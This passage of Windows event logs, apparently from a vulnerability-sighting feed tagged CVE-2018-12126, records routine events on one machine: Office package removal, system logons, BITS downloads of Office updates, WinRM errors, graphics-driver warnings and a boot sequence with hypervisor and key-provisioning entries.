deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-12126", "author": {"login": "automation"}}, {"uuid": "411cb8a6-633e-4115-b447-dd755eaef9f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:10:30.233810+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/ea7a2ba5bd2b594e36f0bfcb053af294", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations 